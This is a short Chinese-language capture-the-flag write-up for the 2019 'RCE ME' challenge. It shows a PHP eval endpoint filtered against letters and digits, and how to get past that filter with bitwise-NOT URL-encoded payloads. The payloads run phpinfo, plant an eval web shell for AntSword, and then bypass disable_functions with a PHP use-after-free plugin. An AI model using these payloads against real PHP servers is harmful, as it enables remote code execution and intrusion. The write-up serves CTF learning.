> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2019/2019-ji-ke-da-tiao-zhan/rce-me.md).

# RCE ME

```
<?php
error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){
        die("This is too Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
?>
```

无字母shell题，第一反应就是P牛的那篇文章了。利用取反获得。

```
<?php
	echo urlencode(~'phpinfo');

//?code=(~%8F%97%8F%96%91%99%90)();
```

读取phpinfo文件，可以发现禁用了大部分命令执行的函数。

同理，执行回调函数，蚁剑连接。

```
<?php 
error_reporting(0);

$a=urlencode(~'assert');

$b=urlencode(~'(eval($_POST["a"]))');

echo '(~' . $a . ')(~' . $b . ');';
 
 ?>
```

发现没有权限读取flag，但是有readflag文件，应该是利用该文件读取，但是本地虚拟终端执行没有回显。

于是利用蚁剑的bypass的插件来bypass disable\_functions。该插件的利用原理大概在[这里](https://www.anquanke.com/post/id/195686#h3-6)，利用历代php的漏洞来进行绕过。我们使用PHP\_GC\_UAF，该漏洞利用堆溢出执行命令，使用版本7.0-7.3。

<figure><img src="/files/VqGHjx5whvKkbmjBl0YD" alt=""><figcaption></figcaption></figure>
